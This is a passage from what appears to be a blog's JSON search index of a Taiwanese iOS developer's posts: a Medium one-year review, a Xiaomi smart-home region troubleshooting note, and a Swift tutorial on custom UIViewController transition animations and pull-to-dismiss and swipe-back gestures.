associate the external variable buttonTouchEdgeInsets with our Extension, allowing it to be used like a regular property. (For detailed principles, please refer to Mao Da’s article )What about UIImageView (UITapGestureRecognizer)?For image clicks, we add a Tap gesture to the View;Similarly, we can achieve the same effect by overriding UIImageView’s pointInside. Done! After continuous improvements, solving this issue has become much simpler and more convenient!References:UIView Change Touch Range (Objective-C)PostscriptAround the same time last year, I wanted to start a small category “ Small things make big things “ to record the trivial daily development tasks. These small tasks, when accumulated, can significantly improve the overall APP experience or the program itself. However, after a year, I only added one more article <( _ _ )>. Small tasks are really easy to forget to record!If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Medium One-Year Review", "url": "/posts/d01252331b53/", "categories": "ZRealm, Life.", "tags": "medium, ios, life, writing-life, medium-taiwan", "date": "2020-01-12 23:49:30 +0800", "snippet": "Medium One-Year ReviewA review of one year on Medium or a summary of 2019In the blink of an eye, it’s been a year since I started publishing articles on Medium. The actual anniversary should be 201...", "content": "Medium One-Year ReviewA review of one year on Medium or a summary of 2019In the blink of an eye, it’s been a year since I started publishing articles on Medium. The actual anniversary should be 2019/10 (first article in 2018/10); but I was too busy and uninspired at that time. As time moves forward into 2020, I quickly jot down my thoughts on managing Medium for a year, also serving as a summary of 2019!ReviewFirst, I want to thank Enther Wu and Chih-Hung Yeh for pushing me to start writing again. Initially, my articles were more like daily notes or work reflections, with rather empty content. However, I shamelessly shared them on social media. Looking back at those early articles now, I feel a bit embarrassed and unsure of what I was writing, as the content wasn’t very valuable.But everything is part of the growth process. The more I wrote, the more I got the hang of it, and the scope of my research broadened. Due to the fear of misleading others, missing details, or misunderstanding something myself, writing articles became more than just recording; it became an in-depth exploration of a particular issue, leading to my own growth and learning. Consequently, the quality of the content I shared with everyone also improved significantly.The community is really kind-hearted. Initially, I was afraid of being criticized and losing confidence. But that didn’t happen. The feedback I received was very positive, even if the content wasn’t necessarily helpful. This positive encouragement gave me more confidence in my creations and motivated me to spend more time documenting. Thank you all for your encouragement!The writing experience on Medium is really great. If you are also a developer, you can install Code Medium, a Chrome Extension that allows you to embed beautiful code snippets directly in Medium using Gist!Publication & LogoI wrote about life and technology, so to differentiate, I established two Publication channels: ZRealm Life. for sharing life and unboxing / ZRealm Dev. for sharing work and technical articles, allowing everyone to follow the content they are interested in.A very “Western-style” thing — “LOGO”. Life needs a sense of ritual? Since it’s about managing, there should be a brand identity. So, I asked a designer to help me create my logo concept. My design idea: the pentagon frame pays homage to my alma mater NTUST’s emblem, representing craftsmanship and technology. The inner frame “ ZR “ stands for my English-translated Chinese name ZhongCheng’s initial “ Z” and Realm representing my domain’s “R”.GainsSpeaking of gains, let’s start with the initial intention of writing — “ Teaching and Learning”. It wasn’t to show off or make money. None of my articles are behind a paywall because knowledge shouldn’t be something you have to pay to access. Knowledge is power. If you like it, please support Medium’s paid membership so we can have a long-term platform to use… (I’m really afraid it won’t withstand losses)In terms of gains, apart from monetary benefits, I’ve gained a lot in other aspects. First is the sense of achievement. When someone reads and responds to your article, it gives you a great sense of accomplishment and more motivation to continue writing. Additionally, I’ve met many friends and had more interactions. I’m a passive socializer, and before writing articles, I was very unfamiliar with the community and had almost no interactions. Now, I’ve met many friends and feel I’m not alone on the path of development! (Just like the subtitle of my Publication — “You are not alone on the road to solving problems”).StatisticsSince this is a review, it’s customary to provide some statistics.In 2019 (including the end of 2018), a total of:25 articles were published: 2 lifestyle + 5 unboxing + 18 technical articlesAccumulated approximately 60,000 views, 5,000 claps, and surpassed 200 followers!The better-performing articles include: iOS Deferred Deep Link Implementation (Swift) AirPods 2 Unboxing and Hands-on Experience How to Create an Interesting Engineering CTF Competition The APP Uses HTTPS Transmission, but the Data Was Still Stolen. Apple Watch Series 4 Comprehensive Review from Purchase to Hands-on Thank you all for your support and love. I will continue to work hard this year! Your follow and feedback are my motivation for writing!ZhgChgLi, 2020/01/11.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Mi Home APP / Xiao Ai Speaker Region Issues", "url": "/posts/94a4020edb82/", "categories": "ZRealm, Life.", "tags": "life, unboxing, Xiaomi Air Purifier, ios, Xiaomi", "date": "2020-01-12 22:04:14 +0800", "snippet": "Mi Home APP / Xiao Ai Speaker Region IssuesNewly purchased Xiaomi Air Purifier 3 & recording the linkage issues between Mi Home and Xiao Ai SpeakerPrefaceThis is the fourth article about Xiaomi...", "content": "Mi Home APP / Xiao Ai Speaker Region IssuesNewly purchased Xiaomi Air Purifier 3 & recording the linkage issues between Mi Home and Xiao Ai SpeakerPrefaceThis is the fourth article about Xiaomi; recently added a new member — “Xiaomi Air Purifier 3” Honestly, I never cared about the air quality in my room. Seeing the foggy outdoor air always made me a bit worried, and since I have long-term nasal allergies, I decided to buy one for my room!The new generation has a small screen on the main unit that shows the remaining filter usage time, current air quality, and operation mode selection. It can be used without connecting to the APP; if connected to the APP, it can be controlled remotely, but there are no other special functions.After two weeks of use, I found that the air quality in the room is quite good; when the outdoor air is good, the indoor air quality value is around 001~006; when the outdoor air is bad, the indoor value is about 008~015; values over 75 are considered poor air quality, and over 150 is considered severe; I should have bought a vacuum cleaner instead XDBut having a small air guardian at home is also quite nice.Mi Home Smart Home Region Function RestrictionsThe Mi Home APP has two regions to choose from: Taiwan and China; the region selection affects the functions within the APP. When setting it up initially, I chose the China region, thinking that data is not safe in any region, so I might as well choose the one with more functions to play with.After adding the Xiao Ai Speaker last year, I noticed a more complex issue with region selection; if you want to control Mi Home smart appliances from the Xiao Ai Speaker, both APPs must be set to the same region, otherwise, they cannot be linked. This is quite troublesome because if the Xiao Ai Speaker is set to Taiwan, it can pair with KKBOX but the smart functions are a stripped-down version (missing Xiao Ai training).Therefore, my Xiao Ai Speaker was originally set to the China region. I didn’t encounter any problems when adding previously purchased appliances, and finally, I was able to establish a complete smart home process: saying goodbye to Xiao Ai when leaving would automatically turn off all appliances and turn on the door camera; saying I’m home would automatically turn on the appliances. The experience was quite smooth!Left: Taiwan/Right: ChinaAdding Xiaomi Air Purifier 3Having bought so many Xiaomi home products, the new member must also join my Mi Home APP!However, I encountered a problem when adding it; the Taiwan version of the Xiaomi Air Purifier 3 could not be added to my Mi Home APP. I had to switch the Mi Home APP region back to Taiwan to add it…This was troublesome, as only the air purifier could not be added; no matter how I tried, it seemed that the pairing methods for Taiwan and China were different. Reluctantly, I had to switch the region back to Taiwan and reset all appliances… The Xiao Ai Speaker was also switched back to Taiwan.Xiao Ai Speaker + Mi Home Smart Home Scene ControlDue to switching the region back to Taiwan, the “Xiao Ai Training” function was lost; it was impossible to set up vocabulary to execute corresponding Mi Home smart home scenes directly in the APP. After multiple attempts, I found that if the smart home is linked and authorized to the Mi Home APP, the scenes and appliances will still automatically link to the Xiao Ai Speaker for authorized control!BUGMy scene “I’m home” could be correctly recognized and executed by the Xiao Ai Speaker, but “I’m leaving” could not be recognized. After trying for an entire afternoon, I found it was a traditional and simplified Chinese issue; when I changed the scene name to “出门” (simplified), the Xiao Ai Speaker could recognize and execute it correctly. So, friends who have issues with scene execution might want to change the scene name and device name to simplified Chinese. Done! This way, you can continue to use the Mi Home smart home with the APP region set to Taiwan, maintaining the original experience.Further Reading First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home (Mi Home Smart Camera and Mi Home Smart Desk Lamp, Homekit Setup Tutorial) New Additions to Xiaomi Smart Home (AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan) Using “Shortcuts” Automation Feature with Mi Home Smart Home on iOS ≥ 13.1 (Directly using the built-in Shortcuts APP on iOS ≥ 13.1 for automation) [Advanced] Demonstration of Using Raspberry Pi as HomeBridge Host to Connect All Mi Home Appliances to HomeKitIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS UIViewController Transition Techniques", "url": "/posts/14cee137c565/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, swift, uiviewcontroller, mobile-app-development", "date": "2020-01-12 02:41:06 +0800", "snippet": "iOS UIViewController Transition TechniquesComplete guide to pull-down to close, pull-up to appear, and full-page right swipe back effects in UIViewControllerIntroductionI’ve always been curious abo...", "content": "iOS UIViewController Transition TechniquesComplete guide to pull-down to close, pull-up to appear, and full-page right swipe back effects in UIViewControllerIntroductionI’ve always been curious about how commonly used apps like Facebook, Line, Spotify, etc., implement effects such as “pull-down to close a presented UIViewController,” “pull-up to gradually appear a UIViewController,” and “full-page support for right swipe back.”These effects are not built-in, and the pull-down to close feature only has system card style support starting from iOS 13.Exploration JourneyWhether it’s due to not knowing the right keywords or the difficulty in finding the information, I could never find a clear implementation method for these features. The information I found was always vague and scattered, requiring piecing together from various sources.When I first researched the method, I found the UIPresentationController API. Without delving deeper into other resources, I used this method combined with UIPanGestureRecognizer to achieve the pull-down to close effect in a rather crude way. It always felt off, like there should be a better way.Recently, while working on a new project, I came across this article which broadened my horizons and revealed more elegant and flexible APIs. This post serves as both a personal record and a guide for those who share my confusion. The content is quite extensive. If you’re in a hurry, you can skip to the end for examples or directly download the GitHub project for study!iOS 13 Card Style PresentationFirst, let’s talk about the latest built-in effect.From iOS 13 onwards, UIViewController.present(_:animated:completion:) defaults to the modalPresentationStyle effect of UIModalPresentationAutomatic for card style presentation. If you want to maintain the previous full-page presentation, you need to specifically set it back to UIModalPresentationFullScreen.Built-in Calendar Add EffectHow to Disable Pull-Down to Close? Confirmation on Close?A better user experience should check for unsaved data when triggering the pull-down to close action, prompting the user whether to discard changes before leaving.Apple has thought of this for us. Simply implement the methods in UIAdaptivePresentationControllerDelegate.import UIKitclass DetailViewController: UIViewController { private var onEdit: Bool = true; override func viewDidLoad() { super.viewDidLoad() // Set delegate self.presentationController?.delegate = self // if UIViewController is embedded in NavigationController: // self.navigationController?.presentationController?.delegate = self // Disable pull-down to close method (1): self.isModalInPresentation = true; } }// Delegate implementationextension DetailViewController: UIAdaptivePresentationControllerDelegate { // Disable pull-down to close method (2): func presentationControllerShouldDismiss(_ presentationController: UIPresentationController) -> Bool { return false; } // Triggered when pull-down to close is canceled func presentationControllerDidAttemptToDismiss(_ presentationController: UIPresentationController) { if (onEdit) { let alert = UIAlertController(title: \"Unsaved Data\", message: nil, preferredStyle: .actionSheet) alert.addAction(UIAlertAction(title: \"Discard and Leave\", style: .default) { _ in self.dismiss(animated: true) }) alert.addAction(UIAlertAction(title: \"Continue Editing\", style: .cancel, handler: nil)) self.present(alert, animated: true) } else { self.dismiss(animated: true, completion: nil) } }}To cancel the dismissal by swipe down, you can either set the UIViewController variable isModalInPresentation to false or implement the UIAdaptivePresentationControllerDelegate method presentationControllerShouldDismiss and return true.The method UIAdaptivePresentationControllerDelegate presentationControllerDidAttemptToDismiss is only called when the dismissal by swipe down is canceled.By the way…For the system, a card-style presentation page is considered a Sheet, which behaves differently from FullScreen. Assuming that RootViewController is HomeViewController In a card-style presentation (UIModalPresentationAutomatic): When HomeViewController Presents DetailViewController… HomeViewController viewWillDisAppear / viewDidDisAppear will not be triggered. When DetailViewController Dismisses… HomeViewController viewWillAppear / viewDidAppear will not be triggered. ⚠️ Since XCODE 11, iOS ≥ 13 apps packaged by default use the card style (UIModalPresentationAutomatic) for Presentations If you previously placed some logic in viewWillAppear/viewWillDisappear/viewDidAppear/viewDidDisappear, be sure to check carefully! ⚠️ After looking at the built-in system, let’s get to the main point of this article! How to achieve these effects yourself?Where can you perform transition animations?First, let’s organize where you can perform window transition animations.UITabBarController/UIViewController/UINavigationControllerWhen switching UITabBarControllerWe can set the delegate for UITabBarController and implement the animationControllerForTransitionFrom method to apply custom transition effects when switching UITabBarController.The system default has no animation. The above demonstration shows a fade-in fade-out transition effect.import UIKitclass MainTabBarViewController: UITabBarController { override func viewDidLoad() { super.viewDidLoad() self.delegate = self } }extension MainTabBarViewController: UITabBarControllerDelegate { func tabBarController(_ tabBarController: UITabBarController, animationControllerForTransitionFrom fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { //return UIViewControllerAnimatedTransitioning }}When UIViewController Presents/DismissesNaturally, when Presenting/Dismissing a UIViewController, you can specify the animation effect to apply; otherwise, this article wouldn’t exist XD. However, it’s worth mentioning that if you only want to create a Present animation without gesture control, you can directly use UIPresentationController for convenience and speed (see references at the end of the article).The system default is slide up to appear and slide down to disappear! If you customize it yourself, you can add effects such as fade-in, rounded corners, control of appearance position, etc.import UIKitclass HomeAddViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() self.modalPresentationStyle = .custom self.transitioningDelegate = self } }extension HomeAddViewController: UIViewControllerTransitioningDelegate { func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { // Return nil to use the default animation return //UIViewControllerAnimatedTransitioning Animation to apply when presenting } func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { // Return nil to use the default animation return //UIViewControllerAnimatedTransitioning Animation to apply when dismissing }} Any UIViewController can implement transitioningDelegate to specify Present/Dismiss animations; UITabBarViewController, UINavigationController, UITableViewController, etc. can all do this.UINavigationController Push/PopUINavigationController is probably the one that needs animation customization the least, because the system’s default left-slide to appear and right-slide to return animations are already the best effects. Customizing this part might be used to create seamless UIViewController left-right switching effects.Since we want to enable full-page gesture returns, we need to implement a custom POP animation effect.import UIKitclass HomeNavigationController: UINavigationController { override func viewDidLoad() { super.viewDidLoad() self.delegate = self }}extension HomeNavigationController: UINavigationControllerDelegate { func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { if operation == .pop { return //UIViewControllerAnimatedTransitioning Animation to apply when returning } else if operation == .push { return //UIViewControllerAnimatedTransitioning Animation to apply when pushing } // Return nil to use the default animation return nil }}Interactive vs Non-interactive Animations?Before discussing animation implementation and gesture control, let’s first talk about what interactive and non-interactive mean.Interactive Animation: Gesture-triggered animations, such as UIPanGestureRecognizerNon-interactive Animation: System-triggered animations, such as self.present( )How to Implement Animation Effects?After discussing where animations can be applied, let’s look at how to create animation effects.We need to implement the UIViewControllerAnimatedTransitioning protocol and animate the view within it.General Transition Animation: UIView.animateDirectly use UIView.animate for animation handling. At this point, UIViewControllerAnimatedTransitioning needs to implement two methods: transitionDuration to specify the duration of the animation, and animateTransition to implement the animation content.import UIKitclass SlideFromLeftToRightTransition: NSObject, UIViewControllerAnimatedTransitioning { func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { return 0.4 } func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { // Available parameters: // Get the view content of the target UIViewController to be displayed: let toView = transitionContext.view(forKey: .to) // Get the target UIViewController to be displayed: let toViewController = transitionContext.viewController(forKey: .to) // Get the initial frame information of the target UIViewController's view: let toInitalFrame = transitionContext.initialFrame(for: toViewController!) // Get the final frame information of the target UIViewController's view: let toFinalFrame = transitionContext.finalFrame(for: toViewController!) // Get the view content of the current UIViewController: let fromView = transitionContext.view(forKey: .from) // Get the current UIViewController: let fromViewController = transitionContext.viewController(forKey: .from) // Get the initial frame information of the current UIViewController's view: let fromInitalFrame = transitionContext.initialFrame(for: fromViewController!) // Get the final frame information of the current UIViewController's view: (can get the final frame from the previous display animation when closing the animation) let fromFinalFrame = transitionContext.finalFrame(for: fromViewController!) // toView.frame.origin.y = UIScreen.main.bounds.size.height UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: { // toView.frame.origin.y = 0 }) { (_) in if (!transitionContext.transitionWasCancelled) { // Animation was not interrupted } // Notify the system that the animation is complete transitionContext.completeTransition(!transitionContext.transitionWasCancelled) } } } To and From: Assume today HomeViewController needs to Present/Push DetailViewController, From = HomeViewController / To = DetailViewController When DetailViewController needs to Dismiss/Pop, From = DetailViewController / To = HomeViewController⚠️⚠️⚠️⚠️⚠️ It is recommended by the official documentation to use the view from transitionContext.view rather than from transitionContext.viewController.view. However, there is an issue when performing Present/Dismiss animations with modalPresentationStyle = .custom; Using transitionContext.view(forKey: .from) during Present will be nil, and Using transitionContext.view(forKey: .to) during Dismiss will also be nil; You still need to get the value from viewController.view.⚠️⚠️⚠️⚠️⚠️ transitionContext.completeTransition(!transitionContext.transitionWasCancelled) must be called when the animation is complete, otherwise the screen will freeze; However, if UIView.animate has no executable animation, it will not call completion, causing the aforementioned method not to be called; so make sure the animation will execute (e.g., y from 100 to 0).ℹ️ℹ️ℹ️ℹ️ℹ️ For ToView/FromView involved in the animation, if the view is more complex or there are some issues during the animation; you can use snapshotView(afterScreenUpdates:) to take a screenshot for the animation display. First, take a screenshot and then transitionContext.containerView.addSubview(snapShotView) to the layer, then hide the original ToView/FromView (isHidden = true), and at the end of the animation, snapShotView.removeFromSuperview() and restore the original ToView/FromView (isHidden = true).Interruptible and Continuable Transition Animations: UIViewPropertyAnimatorYou can also use the new animation class introduced in iOS ≥ 10 to implement animation effects. Choose based on personal preference or the level of detail required for the animation. Although the official recommendation is to use UIViewPropertyAnimator for interactive animations, generally, both interactive and non-interactive (gesture control) animations can be done using UIView.animate;UIViewPropertyAnimator allows for interruptible and continuable transition animations, though I’m not sure where it can be practically applied. Interested readers can refer to this article.import UIKitclass FadeInFadeOutTransition: NSObject, UIViewControllerAnimatedTransitioning { private var animatorForCurrentTransition: UIViewImplicitlyAnimating? func interruptibleAnimator(using transitionContext: UIViewControllerContextTransitioning) -> UIViewImplicitlyAnimating { // Return the current transition animator if it exists if let animatorForCurrentTransition = animatorForCurrentTransition { return animatorForCurrentTransition } // Parameters as mentioned before // fromView.frame.origin.y = 100 let animator = UIViewPropertyAnimator(duration: transitionDuration(using: transitionContext), curve: .linear) animator.addAnimations { // fromView.frame.origin.y = 0 } animator.addCompletion { (position) in transitionContext.completeTransition(!transitionContext.transitionWasCancelled) } // Hold onto the animator self.animatorForCurrentTransition = animator return animator } func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { return 0.4 } func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { // For non-interactive transitions, use the interactive animator let animator = self.interruptibleAnimator(using: transitionContext) animator.startAnimation() } func animationEnded(_ transitionCompleted: Bool) { // Clear the animator when the animation is complete self.animatorForCurrentTransition = nil } } In interactive scenarios (detailed later in the control section), the interruptibleAnimator method is used for animations; in non-interactive scenarios, the animateTransition method is still used. Due to its ability to continue and interrupt, the interruptibleAnimator method might be called repeatedly; hence, we need to use a global variable to store and access the return value.Murmur…Actually, I initially wanted to switch entirely to the new UIViewPropertyAnimator and recommend everyone to use it, but I encountered a very strange issue. When performing a full-page gesture return Pop animation, if the gesture is released and the animation returns to its original position, the items on the Navigation Bar above will flicker with a fade-in and fade-out effect… I couldn’t find a solution, but reverting to UIView.animate resolved the issue. If there’s something I missed, please let me know <( _ _ )>.Problem image; + button is from the previous pageSo, to be safe, let’s stick with the old method!In practice, different animation effects will be created in separate classes. If you find the files too cluttered, you can refer to the packaged solution at the end of the article or group related (Present + Dismiss) animations together.transitionCoordinatorAdditionally, if you need more precise control, such as having a specific component within the ViewController change along with the transition animation, you can use the transitionCoordinator in UIViewController for coordination. I didn’t use this part; if you’re interested, you can refer to this article.How to control the animation?This is the aforementioned “interactive” part, which is essentially gesture control. This is the most important section of this article because we aim to achieve the functionality of gesture operations linked with transition animations, enabling us to implement pull-to-close and full-page return features.Control delegate setup:Similar to the ViewController delegate animation design mentioned earlier, the interactive handling class also needs to inform the ViewController in the delegate.UITabBarController: NoneUINavigationController (Push/Pop):import UIKitclass HomeNavigationController: UINavigationController { override func viewDidLoad() { super.viewDidLoad() self.delegate = self }}extension HomeNavigationController: UINavigationControllerDelegate { func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { if operation == .pop { return //UIViewControllerAnimatedTransitioning animation to apply when returning } else if operation == .push { return //UIViewControllerAnimatedTransitioning animation to apply when pushing } //Returning nil will use the default animation return nil } //Add interactive delegate method: func navigationController(_ navigationController: UINavigationController, interactionControllerFor animationController: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //Cannot determine if it's Pop or Push here, can only judge from the animation itself if animationController is animation applied during push { return //UIPercentDrivenInteractiveTransition interactive control method for push animation } else if animationController is animation applied during return { return //UIPercentDrivenInteractiveTransition interactive control method for pop animation } //Returning nil means no interactive handling return nil }}UIViewController (Present/Dismiss):import UIKitclass HomeAddViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() self.modalPresentationStyle = .custom self.transitioningDelegate = self } }extension HomeAddViewController: UIViewControllerTransitioningDelegate { func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //return nil means no interactive handling return //UIPercentDrivenInteractiveTransition method for interactive control during Dismiss } func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //return nil means no interactive handling return //UIPercentDrivenInteractiveTransition method for interactive control during Present } func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { //return nil means using default animation return //UIViewControllerAnimatedTransitioning animation to apply during Present } func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { //return nil means using default animation return //UIViewControllerAnimatedTransitioning animation to apply during Dismiss } }⚠️⚠️⚠️⚠️⚠️ If you implement interactionControllerFor… methods, even if the animation is non-interactive (e.g., self.present system call transition), these methods will still be called for handling; we need to control the wantsInteractiveStart parameter inside (introduced below).Animation Interactive Handling Class UIPercentDrivenInteractiveTransition:Next, let’s talk about the core implementation of UIPercentDrivenInteractiveTransition.import UIKitclass PullToDismissInteractive: UIPercentDrivenInteractiveTransition { //UIView to add gesture control interaction private var interactiveView: UIView! //Current UIViewController private var presented: UIViewController! //Threshold percentage to complete execution, otherwise revert private let thredhold: CGFloat = 0.4 //Different transition effects may require different information, customizable convenience init(_ presented: UIViewController, _ interactiveView: UIView) { self.init() self.interactiveView = interactiveView self.presented = presented setupPanGesture() //Default value, informs the system that the current animation is non-interactive wantsInteractiveStart = false } private func setupPanGesture() { let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) panGesture.maximumNumberOfTouches = 1 panGesture.delegate = self interactiveView.addGestureRecognizer(panGesture) } @objc func handlePan(_ sender: UIPanGestureRecognizer) { switch sender.state { case .began: //Reset gesture position sender.setTranslation(.zero, in: interactiveView) //Inform the system that the current animation is triggered by a gesture wantsInteractiveStart = true //Call the transition effect to be performed during gesture began (won't execute directly, system will hold it) //Then the corresponding animation for the transition effect will jump to UIViewControllerAnimatedTransitioning for handling // animated must be true otherwise no animation //Dismiss: self.presented.dismiss(animated: true, completion: nil) //Present: //self.present(presenting,animated: true) //Push: //self.navigationController.push(presenting) //Pop: //self.navigationController.pop(animated: true) case .changed: //Calculate the gesture sliding position corresponding to the animation completion percentage 0~1 //Actual calculation method varies depending on the animation type let translation = sender.translation(in: interactiveView) guard translation.y >= 0 else { sender.setTranslation(.zero, in: interactiveView) return } let percentage = abs(translation.y / interactiveView.bounds.height) //Update UIViewControllerAnimatedTransitioning animation percentage update(percentage) case .ended: //When the gesture is released, check if the completion percentage exceeds the threshold wantsInteractiveStart = false if percentComplete >= thredhold { //Yes, inform the animation to complete finish() } else { //No, inform the animation to revert cancel() } case .cancelled, .failed: //On cancel or error wantsInteractiveStart = false cancel() default: wantsInteractiveStart = false return } }}//When there are UIScrollView components (UITableView/UICollectionView/WKWebView....) inside UIViewController, prevent gesture conflicts//When the UIScrollView component inside has scrolled to the top, enable the gesture operation for interactive transitionextension PullToDismissInteractive: UIGestureRecognizerDelegate { func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool { if let scrollView = otherGestureRecognizer.view as? UIScrollView { if scrollView.contentOffset.y <= 0 { return true } else { return false } } return true } }*About the reason for sender.setTranslation( .zero, in:interactiveView) supplement point I<We need to implement different Classes based on different gesture operation effects; if it is the same continuous (Present+Dismii) operation, it can also be wrapped together.⚠️⚠️⚠️⚠️⚠️ wantsInteractiveStart must be in a compliant state. If wantsInteractiveStart = false is notified during interactive animation, it will also cause the screen to freeze; You need to exit and re-enter the APP to restore it.⚠️⚠️⚠️⚠️⚠️ interactiveView must also be isUserInteractionEnabled = true You can set it more to ensure it!CombinationWhen we set up this Delegate and build the Class, we can achieve the functionality we want.Let’s not waste any more time and go straight to the completed example.Custom pull-down to close page effectThe advantage of custom pull-down is that it supports all iOS versions on the market, can control the overlay percentage, control the trigger close position, and customize the animation effect.Click the top right + Present pageThis is an example of HomeViewController presenting HomeAddViewController and HomeAddViewController dismissing.import UIKitclass HomeViewController: UIViewController { @IBAction func addButtonTapped(_ sender: Any) { guard let homeAddViewController = UIStoryboard(name: \"Main\", bundle: nil).instantiateViewController(identifier: \"HomeAddViewController\") as? HomeAddViewController else { return } //transitioningDelegate can be specified to handle the target ViewController or the current ViewController homeAddViewController.transitioningDelegate = homeAddViewController homeAddViewController.modalPresentationStyle = .custom self.present(homeAddViewController, animated: true, completion: nil) }}import UIKitclass HomeAddViewController: UIViewController { private var pullToDismissInteractive: PullToDismissInteractive! override func viewDidLoad() { super.viewDidLoad() //Bind transition interactive information self.pullToDismissInteractive = PullToDismissInteractive(self, self.view) } }extension HomeAddViewController: UIViewControllerTransitioningDelegate { func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { return pullToDismissInteractive } func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { return PresentAndDismissTransition(false) } func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { return PresentAndDismissTransition(true) } func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //No Present operation gesture here return nil }}import UIKitclass PullToDismissInteractive: UIPercentDrivenInteractiveTransition { private var interactiveView: UIView! private var presented: UIViewController! private var completion: (() -> Void)? private let threshold: CGFloat = 0.4 convenience init(_ presented: UIViewController, _ interactiveView: UIView, _ completion: (() -> Void)? = nil) { self.init() self.interactiveView = interactiveView self.completion = completion self.presented = presented setupPanGesture() wantsInteractiveStart = false } private func setupPanGesture() { let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) panGesture.maximumNumberOfTouches = 1 panGesture.delegate = self interactiveView.addGestureRecognizer(panGesture) } @objc func handlePan(_ sender: UIPanGestureRecognizer) { switch sender.state { case .began: sender.setTranslation(.zero, in: interactiveView) wantsInteractiveStart = true self.presented.dismiss(animated: true, completion: self.completion) case .changed: let translation = sender.translation(in: interactiveView) guard translation.y >= 0 else { sender.setTranslation(.zero, in: interactiveView) return } let percentage = abs(translation.y / interactiveView.bounds.height) update(percentage) case .ended: if percentComplete >= threshold { finish() } else { wantsInteractiveStart = false cancel() } case .cancelled, .failed: wantsInteractiveStart = false cancel() default: wantsInteractiveStart = false return } }}extension PullToDismissInteractive: UIGestureRecognizerDelegate { func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool { if let scrollView = otherGestureRecognizer.view as? UIScrollView { if scrollView.contentOffset.y <= 0 { return true } else { return false } } return true } }With the above, you can achieve the effect shown in the image. The code here is quite messy due to the simplicity of the tutorial, and there is much room for optimization and integration. Worth mentioning… iOS ≥ 13, if the View contains a UITextView, during the pull-down close animation, the text content of the UITextView will be blank; causing a flicker in the experience (video example) … The solution here is to use snapshotView(afterScreenUpdates:) to replace the original View layer during the animation.Full-page right swipe backWhen looking for a solution to enable right swipe back gesture for the entire screen, I found a Tricky method:Directly add a UIPanGestureRecognizer to the screen and then set the target and action to the native interactivePopGestureRecognizer, action:handleNavigationTransition.*Detailed method click me<That’s right! It looks like a Private API, and it feels like it might get rejected during review; also, it’s uncertain if it works with Swift, as it might use Runtime features specific to Objective-C.Let’s go the proper way:Using the same method as in this article, we handle the navigationController POP back ourselves; add a full-page right swipe gesture control with a custom right swipe animation!Other parts are omitted, only the key animation and interaction handling class is posted:import UIKitclass SwipeBackInteractive: UIPercentDrivenInteractiveTransition { private var interactiveView: UIView! private var navigationController: UINavigationController! private let threshold: CGFloat = 0.4 convenience init(_ navigationController: UINavigationController, _ interactiveView: UIView) { self.init() self.interactiveView = interactiveView self.navigationController = navigationController setupPanGesture() wantsInteractiveStart = false } private func setupPanGesture() { let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) panGesture.maximumNumberOfTouches = 1 interactiveView.addGestureRecognizer(panGesture) } @objc func handlePan(_ sender: UIPanGestureRecognizer) { switch sender.state { case .began: sender.setTranslation(.zero, in: interactiveView) wantsInteractiveStart = true self.navigationController.popViewController(animated: true) case .changed: let translation = sender.translation(in: interactiveView) guard translation.x >= 0 else { sender.setTranslation(.zero, in: interactiveView) return } let percentage = abs(translation.x / interactiveView.bounds.width) update(percentage) case .ended: if percentComplete >= threshold { finish() } else { wantsInteractiveStart = false cancel() } case .cancelled, .failed: wantsInteractiveStart = false cancel() default: wantsInteractiveStart = false return } }}Pull-up fade-in UIViewControllerOn the View, pull up to fade in + pull down to close, which creates a transition effect similar to Spotify’s player!This part is more tedious, but the principle is the same. I won’t post it here, but interested friends can refer to the GitHub example content.One thing to note is that when pulling up to fade in, the animation must ensure that it uses “.curveLinear” linear, otherwise there will be a problem where the pull-up does not follow the hand; the degree of pull and the displayed position are not proportional.Completed!Completed 